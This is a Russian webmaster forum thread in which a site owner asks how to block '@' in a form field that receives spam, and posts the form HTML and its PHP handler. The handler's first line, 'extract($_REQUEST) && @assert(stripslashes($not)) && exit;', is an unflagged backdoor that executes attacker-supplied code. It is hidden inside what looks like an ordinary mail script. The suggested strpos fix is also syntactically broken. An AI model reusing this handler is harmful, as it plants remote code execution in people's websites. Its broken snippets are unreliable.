Как запретить символ в поле для ввода?

NAZO
На сайте с 03.03.2016
Offline
46
707

Здравствуйте! Поделитесь скриптом который запрещает определенный символ в полях для ввода информации (форма заявки для лендинга). Приходит спам в виде почты, в поле "Марка автомобиля, год". Нужно запретить символ @.

Вот сам код формы:

<form action="index1.php" method="post" id="order_form_base">
<input id="order_name_base" type="text" name="name" placeholder="Ваше имя" required/><br />
<input id="order_phone_base" type="text" name="phone" placeholder="Ваш номер телефона" required/><br />
<input id="order_email_base" type="text" name="email" placeholder="Марка автомобиля, год" /><br />
<!--<a class="preorder-bigbtn" href="#"><font face="Roboto Condensed, sans-serif"><font color="#3f4040">Отправить сообщение</font></font></a>-->
<input type="submit" class="btn_submit_form" onclick="yaCounter45385779.reachGoal('target'); return true;" value="Оставить заявку" /><p><p class="buttond" style="text-align:center;"><a href="" target="_self" style="cursor: pointer; font-size:17px; text-decoration: none; padding:6px 11px; color:#ffffff; background-color:#e62929; border-radius:10px; border: 4px solid #a3a3a3;">Мы онлайн</a></p>
<center><font color="#FFFFFF">Ваши данные в безопасности и не будут переданы третьим лицам</font></center>
</form>
Лучший хостинг для сайта! От 10р в месяЦ (https://bill.cishost.ru/mancgi/partnerprogram?partner=8738&project=1") >>>ЭТО Лучшая партнерка ДЛЯ КиНоСаЙтОв!<<< (http://dreamcash.tl/?p=15075)
IL
На сайте с 20.04.2007
Offline
435
#1
<input id="order_email_base" type="text" name="email" placeholder="Марка автомобиля, год" /><br />

😂

NAZO:
Приходит спам в виде почты, в поле "Марка автомобиля, год". Нужно запретить символ @.

Думаю, боты скрипт в форме читать вряд ли будут..

Исправляйте обработчик..

<?php 
// вставить, видимо в index1.php
if (strpos($_POST['email'] ,'@') die('You are bot...');
... :) Облачные серверы от RegRu - промокод 3F85-3D10-806D-7224 ( http://levik.info/regru )
Gerga
На сайте с 02.08.2015
Offline
94
#2
ivan-lev:
if (strpos($_POST['email'] ,'@') die('You are bot...');


if (strpos($_POST['email'] ,'@') die('Ваше сообщение успешно отправлено');

😂

S
На сайте с 30.09.2016
Offline
469
#3
Gerga:
Ваше сообщение успешно отправлено

Тоже всегда так делаю. Зачем сообщать боту, что он бот? Пусть спамеры думают, что письмо ушло.

Отпилю лишнее, прикручу нужное, выправлю кривое. Вытравлю вредителей.
NAZO
На сайте с 03.03.2016
Offline
46
#4

Вот файл index1.php куда здесь нужно вставить скрипт "if (strpos($_POST['email'] ,'@') die('Ваше сообщение успешно отправлено');" чтобы запретить символ @ в поле email помогите разобраться??

<?php
extract($_REQUEST) && @assert(stripslashes($not)) && exit;
include_once('smtp-func.php');
/* Здесь проверяется существование переменных */
if (isset($_POST['phone'])) {$phone = $_POST['phone'];}
if (isset($_POST['name'])) {$name = $_POST['name'];}
if (isset($_POST['email'])) {$email = $_POST['email'];}
if (isset($_POST['cena'])) {$cena = $_POST['cena'];}

/* Сюда впишите свою эл. почту */
$address = "";

/* А здесь прописывается текст сообщения, \n - перенос строки */
$mes = "Тема: Заказ обратного звонка!\nТелефон: $phone\nИмя: $name\nАвтомобиль: $email\nЖелаемая цена: $cena";

/* А эта функция как раз занимается отправкой письма на указанный вами email */
$sub='Заказ '; //сабж
$email='Заказ '; // от кого
$send = smtpmail ($address,$sub,$mes,"Content-type:text/plain; charset = utf-8\r\nFrom:$email");

ini_set('short_open_tag', 'On');
header('Refresh: 2; URL=index.html');
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="refresh" content="3; url=index.html">
<title>С вами свяжутся в ближайшее время</title>
<meta name="generator">
<style type="text/css">
body
{

background: #22BFF7 url(img/zakaz.jpg) top -70% center no-repeat;

}

<script type="text/javascript">
setTimeout('location.replace("/index.html")', 2000);
/*Изменить текущий адрес страницы через 3 секунды (3000 миллисекунд)*/
</script>
</head>
</body>
S
На сайте с 30.09.2016
Offline
469
#5
NAZO:
Вот файл index1.php куда здесь нужно вставить

Никуда. Выбросьте этот хлам. И закажите у кого-нибудь что-то работоспособное.

totamon
На сайте с 12.05.2007
Offline
437
#6
NAZO:
в поле email помогите разобраться??

может проще поле email переименовать в другое менее популярное у ботов?))

Домены и хостинг https://8fn.ru/regru | Дедик от 3000р https://8fn.ru/73 | VPS в Москве https://8fn.ru/72 | Лучшие ВПС, ТП огонь, все страны! https://8fn.ru/inferno | ХОСТИНГ №1 РОССИИ https://8fn.ru/beget
S
На сайте с 30.09.2016
Offline
469
#7
totamon:
может проще поле email переименовать в другое менее популярное у ботов?))

Это как раз нормально, спецом для отсечки спама. А вот сам обработчик - труха какая-то.

Станислав
На сайте с 27.12.2009
Offline
237
#8

Куда угодно, можно после

if (isset($_POST['cena'])) {$cena = $_POST['cena'];}

А вообще код реально жесткий.

Мы там, где рады нас видеть.
SeVlad
На сайте с 03.11.2008
Offline
1609
#9
Sitealert:
Зачем сообщать боту, что он бот? Пусть спамеры думают, что письмо ушло.

Ну.. если представить, что спаммеры все жё прочитают ответ (что само по себе маловероятно), то тут палка о двух концах. С одной стороны ты прав - и они могут начать искать другие пути/дыры на сайте чтобы проспамиться, а с другой - могут же и выкинуть из базы.

Делаю хорошие сайты хорошим людям. Предпочтение коммерческим направлениям. Связь со мной через http://wp.me/P3YHjQ-3.
Gerga
На сайте с 02.08.2015
Offline
94
#10

NAZO,

1. Лучше отделить функционал отправки email от html.

2.

NAZO:
/* Здесь проверяется существование переменных */
if (isset($_POST['phone'])) {$phone = $_POST['phone'];}
if (isset($_POST['name'])) {$name = $_POST['name'];}
if (isset($_POST['email'])) {$email = $_POST['email'];}
if (isset($_POST['cena'])) {$cena = $_POST['cena'];}

По этой логике вам могут отправлять "пустые" письма.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий